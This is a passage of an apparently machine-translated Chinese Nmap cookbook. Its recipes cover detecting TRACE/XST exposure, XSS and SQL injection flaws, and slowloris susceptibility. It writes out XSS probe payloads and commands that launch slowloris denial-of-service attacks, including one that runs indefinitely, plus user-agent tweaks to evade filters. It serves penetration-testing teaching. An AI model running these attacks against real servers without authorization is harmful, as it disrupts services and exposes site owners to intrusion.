  • 暴力密码审计 WordPress 安装配方
  • 蛮力密码审计 Joomla!安装配方
  • 发现 web 应用程序中的 SQL 注入漏洞秘诀
  • 检测易受 slowloris 拒绝服务攻击的 web 服务器配方

检测可能的 XST 漏洞

跨站点跟踪(XST)漏洞是由于启用 HTTP 方法TRACE的 web 服务器中存在**跨站点脚本漏洞(XSS)**造成的。此技术主要用于绕过指令httpOnly施加的 cookie 限制。通过使用 Nmap 快速确定 web 服务器是否启用了方法TRACE,Pentesters 可以节省时间。

此配方描述了如何使用 Nmap 检查TRACE是否已启用,因此容易受到可能的跨站点跟踪(XST)漏洞的攻击。

怎么做。。。

打开终端并输入以下命令:

$ nmap -p80 --script http-methods,http-trace --script-args http-methods.retest <target>

如果TRACE已启用且可访问,我们将看到类似的内容:

PORT    STATE SERVICE
80/tcp  open  http
|_http-trace: TRACE is enabled
| http-methods: GET HEAD POST OPTIONS TRACE
| Potentially risky methods: TRACE
| See http://nmap.org/nsedoc/scripts/http-methods.html
| GET / -> HTTP/1.1 200 OK
|
| HEAD / -> HTTP/1.1 200 OK
|
| POST / -> HTTP/1.1 200 OK
|
| OPTIONS / -> HTTP/1.1 200 OK
|
|_TRACE / -> HTTP/1.1 200 OK

否则,http-trace不会返回任何内容,TRACE不会列在http-methods下:

PORT   STATE SERVICE
80/tcp open  http
| http-methods: GET HEAD POST OPTIONS
| GET / -> HTTP/1.1 200 OK
|
| HEAD / -> HTTP/1.1 200 OK
|
| POST / -> HTTP/1.1 200 OK
|
|_OPTIONS / -> HTTP/1.1 200 OK

Nmap done: 1 IP address (1 host up) scanned in 14.41 seconds

它是如何工作的。。。

参数-p80 --script http-methods,http-trace --script-args http-methods.retest告诉 Nmap,如果检测到 web 服务器,则在端口 80 上启动 NSE 脚本http-methodshttp-trace,并单独测试 HTTPOPTIONS请求返回的每个方法。

http-methods由 Bernd Stroessenreuther 提交,并发送OPTIONS请求以枚举 web 服务器支持的方法。

脚本http-trace是我写的,目的是检测 HTTP 方法TRACE的可用性。它只是发送一个TRACE请求并查找状态 200 代码,或者服务器会回显相同的请求。

还有更多。。。

通过设置脚本参数http-methods.retest,我们可以测试OPTIONS中列出的每个 HTTP 方法,并分析返回值,判断TRACE是否可访问且未被防火墙或配置规则阻止。

$ nmap -p80 --script http-methods,http-trace --script-args http-methods.retest <target>
PORT    STATE SERVICE
80/tcp  open  http
|_http-trace: TRACE is enabled
| http-methods: GET HEAD POST OPTIONS TRACE
| Potentially risky methods: TRACE
| See http://nmap.org/nsedoc/scripts/http-methods.html
| GET / -> HTTP/1.1 200 OK
|
| HEAD / -> HTTP/1.1 200 OK
|
| POST / -> HTTP/1.1 200 OK
|
| OPTIONS / -> HTTP/1.1 200 OK
|
|_TRACE / -> HTTP/1.1 200 OK

请记住,方法TRACE可以启用,而不是由OPTIONS列出,因此运行脚本http-methodshttp-trace以获得更好的结果非常重要。

使用参数http-trace.pathhttp-methods.url-path请求不同于根文件夹( / 的路径):

$ nmap -p80 --script http-methods,http-trace --script-args http-methods.retest,http-trace.path=/secret/,http-methods.url-path=/secret/ <target>

HTTP 用户代理

有一些包过滤产品可以阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。您可以通过设置参数http.useragent来使用不同的 HTTP 用户代理:

$ nmap -p80 --script http-trace --script-args http.useragent="Mozilla 42" <target>

另见

  • 检查 HTTP 代理是否打开配方
  • 在各种 web 服务器上发现有趣的文件和目录配方
  • 检测 web 应用程序防火墙配方
  • 发现 web 应用程序中的 SQL 注入漏洞秘诀
  • 检测易受 slowloris 拒绝服务攻击的 web 服务器配方

检测 web 应用程序中的跨站点脚本漏洞

跨站点脚本漏洞允许攻击者欺骗内容、窃取用户 cookie,甚至在用户浏览器上执行恶意代码。甚至还有Beef等高级利用框架,允许攻击者通过 JavaScript 挂钩执行复杂的攻击。Web Pentester 可以使用 Nmap 自动发现 Web 服务器中的这些漏洞。

此方法显示了如何使用 Nmap NSE 查找 web 应用程序中的跨站点脚本漏洞。

怎么做。。。

要扫描 web 服务器以查找易受跨站点脚本(XSS)攻击的文件,我们使用以下命令:

$ nmap -p80 --script http-unsafe-output-escaping  <target>

将列出所有怀疑易受攻击的文件:

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack
| http-unsafe-output-escaping: 
|_  Characters [> " '] reflected in parameter id at http://target/1.php?id=1

脚本输出还将包括 vulnerable 参数以及未经过滤或编码而返回的字符。

如果您使用的是 PHP 服务器,请运行以下 Nmap 命令:

$nmap -p80 --script http-phpself-xss,http-unsafe-output-escaping <target>

针对具有易受攻击文件的 web 服务器,您将看到与下图所示类似的输出:

PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack
| http-phpself-xss: 
|   VULNERABLE:
|   Unsafe use of $_SERVER["PHP_SELF"] in PHP files
|     State: VULNERABLE (Exploitable)
|     Description:
|       PHP files are not handling safely the variable $_SERVER["PHP_SELF"] causing Reflected Cross Site Scripting vulnerabilities.
| 
|     Extra information:
| 
|   Vulnerable files with proof of concept:
|     http://calder0n.com/sillyapp/three.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
|     http://calder0n.com/sillyapp/secret/2.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
|     http://calder0n.com/sillyapp/1.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
|     http://calder0n.com/sillyapp/secret/1.php/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E
|   Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=calder0n.com
|     References:
|       http://php.net/manual/en/reserved.variables.server.php
|_      https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
| http-unsafe-output-escaping: 
|_  Characters [> " '] reflected in parameter hola at http://calder0n.com/sillyapp/secret/1.php?hola=1

它是如何工作的。。。

脚本http-unsafe-output-escaping是由 Martin Holst Swende 编写的,它在 web 服务器上爬行,以检测 web 应用程序基于用户输入返回输出的方式可能存在的问题。脚本将以下有效负载插入到它找到的所有参数中:

ghz%3Ehzx%22zxc%27xcv

上面显示的有效负载旨在检测可能导致跨站点脚本漏洞的字符> " '

我编写脚本http-phpself-xss是为了检测由于$_SERVER["PHP_SELF"']脚本缺乏卫生设施而导致的跨站点脚本漏洞。该脚本将对 web 服务器进行爬网,以查找扩展名为.php的所有文件,并将以下有效负载附加到每个 URI:

/%27%22/%3E%3Cscript%3Ealert(1)%3C/script%3E

如果相同的模式反映在网站上,则表示页面正在不安全地使用变量$_SERVER["PHP_SELF"]

脚本http-unsafe-output-escapinghttp-phpself-xss的官方文档可在以下 URL 中找到:

还有更多。。。

脚本http-unsafe-output-escapinghttp-phpself-xss依赖于库httpspider。可以将此库配置为增加其覆盖范围和总体行为。

例如,库默认只抓取 20 页,但对于较大的站点,我们可以相应地设置参数httpspider.maxpagecount

$nmap -p80 --script http-phpself-xss --script-args httpspider.maxpagecount=200 <target>

另一个有趣的论点是httpspider.withinhost,它将网络爬虫限制在给定的主机上。默认情况下,此选项处于启用状态,但如果需要测试相互链接的 web 应用程序集合,可以使用以下命令:

$nmap -p80 --script http-phpself-xss --script-args httpspider.withinhost=false <target>

我们还可以设置要覆盖的目录的最大深度。默认情况下,此值仅为3,因此,如果您注意到 web 服务器具有深度嵌套的文件,尤其是在实现了/blog/5/news/comment/等“漂亮 URL”时,我建议您使用以下命令更新此库参数:

$nmap -p80 --script http-phpself-xss --script-args httpspider.maxdepth=10 <target>

图书馆的官方文件可在找到 http://nmap.org/nsedoc/lib/httpspider.html

HTTP 用户代理

有一些包过滤产品可以阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。通过设置参数http.useragent,可以使用不同的用户代理值:

$ nmap -p80 --script http-sql-injection --script-args http.useragent="Mozilla 42" <target>

HTTP 流水线

一些 web 服务器允许在单个数据包中封装多个 HTTP 请求。这可能会加快 NSE HTTP 脚本的执行速度,如果 web 服务器支持,建议使用该脚本。默认情况下,HTTP 库尝试通过管道传输 40 个请求,并根据Keep-Alive头的流量条件自动调整该数量。

$ nmap -p80 --script http-sql-injection --script-args http.pipeline=25 <target>

此外,您可以使用参数http.max-pipeline设置要添加到管道的 HTTP 请求的最大数量。如果设置了脚本参数http.pipeline,则忽略此参数:

$.nmap -p80 --script http-methods --script-args http.max-pipeline=10 <target>

另见

  • 检测可能的 XST 漏洞配方
  • 检测 web 应用程序防火墙配方
  • 检测 web 应用程序中的 SQL 注入漏洞配方
  • 检测易受 slowloris 拒绝服务攻击的 web 服务器配方

在 web 应用程序中发现 SQL 注入漏洞

SQL 注入漏洞是由于用户输入缺乏卫生设施造成的,攻击者可以利用这些漏洞执行 DBMS 查询,从而危害整个系统。这种类型的 web 漏洞非常常见,而且由于必须测试每个脚本变量,因此检查此类漏洞可能是一项非常繁琐的任务。幸运的是,我们可以使用 Nmap 快速扫描 web 服务器,查找易受攻击的 SQL 注入文件。

此方法显示了如何在使用 Nmap NSE 的 web 应用程序中查找 SQL 注入漏洞。

怎么做。。。

要使用 Nmap 扫描 web 服务器以查找易受 SQL 注入攻击的文件,请使用以下命令:

$ nmap -p80 --script http-sql-injection <target>

所有易受攻击的文件将显示可能易受攻击的参数:

 PORT   STATE SERVICE
 80/tcp open  http    syn-ack
 | http-sql-injection: 
 |   Possible sqli for queries:
 |_    http://xxx/index.php?param=13'%20OR%20sqlspider

它是如何工作的。。。

剧本http-sql-injection.nse是由埃迪·贝尔和皮奥特·奥尔玛写的。它爬网 web 服务器,查找带有参数的表单和 URI,并尝试查找 SQL 注入漏洞。该脚本通过插入可能导致应用程序出错的 SQL 查询来确定服务器是否易受攻击。这意味着脚本不会检测到任何盲目的 SQL 注入漏洞。

脚本匹配的错误消息从默认位于/nselib/data/http-sql-errors.lst的外部文件读取。本文件取自fuzzdb项目http://code.google.com/p/fuzzdb/ ),用户可根据需要选择其他文件。

还有更多。。。

httpspider库行为可以通过库参数进行配置。默认情况下,它使用非常保守的值来节省资源,但在全面测试期间,我们需要调整其中的几个值以获得最佳结果。例如,库默认只抓取 20 页,但对于较大的站点,我们可以相应地设置参数httpspider.maxpagecount,如下命令所示:

$ nmap -p80 --script http-sql-injection --script-args httpspider.maxpagecount=200 <target>

另一个有趣的论点是httpspider.withinhost,它将网络爬虫限制在给定的主机上。默认情况下,此选项处于启用状态,但如果需要测试相互链接的 web 应用程序集合,可以使用以下命令:

$ nmap -p80 --script http-sql-injection --script-args httpspider.withinhost=false <target>

我们还可以设置要覆盖的目录的最大深度。默认情况下,此值仅为3,因此,如果您注意到 web 服务器具有深度嵌套的文件,尤其是在实现了/blog/5/news/comment/等“漂亮 URL”时,我建议您更新此库参数:

$ nmap -p80 --script http-sql-injection --script-args httpspider.maxdepth=10 <target>

图书馆的官方文件可在找到 http://nmap.org/nsedoc/lib/httpspider.html

HTTP 用户代理

有一些包过滤产品可以阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。通过设置参数http.useragent,可以使用不同的用户代理值:

$ nmap -p80 --script http-sql-injection --script-args http.useragent="Mozilla 42" <target>

HTTP 流水线

一些 web 服务器允许在单个数据包中封装多个 HTTP 请求。这可能会加快 NSE HTTP 脚本的执行速度,如果 web 服务器支持,建议使用该脚本。默认情况下,HTTP 库尝试通过管道传输 40 个请求,并根据Keep-Alive头的流量条件自动调整该数量。

$ nmap -p80 --script http-sql-injection --script-args http.pipeline=25 <target>

此外,您可以使用参数http.max-pipeline设置要添加到管道的 HTTP 请求的最大数量。如果设置了脚本参数http.pipeline,则忽略此参数:

$ nmap -p80 --script http-methods --script-args http.max-pipeline=10 <target>

另见

  • 检测可能的 XST 漏洞配方
  • 检测 web 应用程序防火墙配方
  • 检测 web 应用程序中的跨站点脚本漏洞配方
  • 检测易受 slowloris 拒绝服务攻击的 web 服务器配方

检测易受 slowloris 拒绝服务攻击的 web 服务器

拒绝服务攻击现在非常流行,Nmap 可以帮助检测易受此类攻击攻击的 web 服务器。“slowloris 拒绝服务”技术被认为是由 Adrian Ilarion Ciobanu 在 2007 年发现的,但 Rsnake 在 DEFCON 17 中发布了第一个工具,证明它影响了多个产品,包括 Apache1.x、Apache2.x、dhttpd,以及可能的许多其他 web 服务器。

此方法显示了如何使用 Nmap 检测 web 服务器是否容易受到 slowloris DoS 攻击。

怎么做。。。

要使用 Nmap 对远程 web 服务器发起 slowloris 攻击,请使用以下命令:

# nmap -p80 --script http-slowloris --max-parallelism 300 <target>

结果包括一些攻击统计数据:

PORT   STATE SERVICE REASON 
80/tcp open  http    syn-ack
| http-slowloris:
|   Vulnerable:
|   the DoS attack took +5m35s
|   with 300 concurrent connections
|_  and 900 sent queries

它是如何工作的。。。

如果在端口 80(-p80上检测到 web 服务器,参数-p80 --script http-slowloris将启动 NSE 脚本http-slowloris

slowloris DoS 技术的工作原理与其他拒绝服务技术不同,后者的通信通道充满了请求。Slowloris 通过发送最小数量的信息来防止连接关闭,从而使用最小带宽,并且不消耗大量资源。

RSnake 的官方评论可在上找到 http://ha.ckers.org/slowloris/

NSE 脚本由 Aleksandar Nikolic 和 Ange Gutek 编写。官方文件可在以下 url 上找到:

http://nmap.org/nsedoc/scripts/http-slowloris.html

还有更多。。。

要设置每个 HTTP 头之间的时间间隔,请使用以下命令使用脚本参数http-slowloris.send_interval

$ nmap -p80 --script http-slowloris --script-args http-slowloris.send_interval=200 --max-parallelism 300

要在一定时间内运行 slowloris 攻击,请使用脚本参数http-slowloris.timelimit,如下命令所示:

$ nmap -p80 --script http-slowloris --script-args http-slowloris.timelimit=15m <target>

或者,有一个参数可用于告诉 Nmap 无限期地攻击目标,如以下命令所示:

$ nmap -p80 --script http-slowloris --script-args http-slowloris.runforever <target>

Aleksandar Nikolic 编写了另一个 NSE 脚本,用于检查有漏洞的 web 服务器,名为http-slowloris-check。此脚本只发送两个请求,它使用一种巧妙的方法通过读取和比较连接超时来检测易受攻击的服务器:

$ nmap -p80 --script http-slowloris-check <target>

HTTP 用户代理

有一些包过滤产品可以阻止使用 Nmap 的默认 HTTP 用户代理发出的请求。通过设置参数http.useragent,可以使用不同的用户代理值:

$ nmap -p80 --script http-slowloris --script-args http.useragent="Mozilla 42" <target>

另见

  • 检测可能的 XST 漏洞配方
  • 在各种 web 服务器上发现有趣的文件和目录配方
  • 检测 web 应用程序防火墙配方
  • 在 web 应用程序中测试默认凭据配方
  • 发现 web 应用程序中的 SQL 注入漏洞秘诀